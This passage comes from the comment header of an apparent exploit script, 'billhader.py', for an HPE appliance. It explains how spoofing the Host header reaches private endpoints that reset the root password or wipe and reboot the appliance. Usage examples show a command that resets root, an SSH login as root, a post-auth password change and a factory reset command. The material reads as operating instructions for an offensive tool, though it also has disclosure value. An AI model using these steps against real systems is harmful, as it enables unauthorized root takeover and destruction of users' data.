The way do they do this is by checking the # Host header and returning a 404 not found for not-localhost, but 200 OK for # 127.0.0.1. This is of course flawed because any remote user has control over # the Host header and they can call these functions with valid JSON, eg. # /private/AdminPassReset to reset the admin password and login via SSH (default) # as root due to the Administrator and root always synced to the same password. # They can also call ResetAppliance and the appliance will immediately reset # user data and cause the entire server to reboot. # # Administrator is the default and permanent web console user and as mentioned it's # tied to the root OS user account. When Administrator changes their password, the # backend changes the root password to the same. Other users can be added to the # web console, but there is nothing stopping them changing any other user’s password. # Not even sure if this is a bug or just wow functionality because although the # users appear different, they all seem to share the same role. Broken or incomplete # design I guess. So any user can change the Administrator password and use it to # login as root via the default open SSH server, start setting up camp, etc. # # Usage examples # > billhader.py 10.0.0.10 pre_root_passwd -n letmein # {"RootPasswd": "Modified", "UserPassword": "Modified"} # # > ssh root@10.0.0.10 # root@10.10.10.20's password: [letmein] # [root@hpe-eim ~]# # # > billhader.py 10.0.0.10 post_root_passwd -u test -p abc123 # login succeeded # {"Status": "success", "Valid_Entries": ["Password"], "Invalid_Entries": []} # # (root password is now newpassword default of 'letmein') # # > billhader.py 10.10.10.20 pre_factory_reset # Lost your password huh?
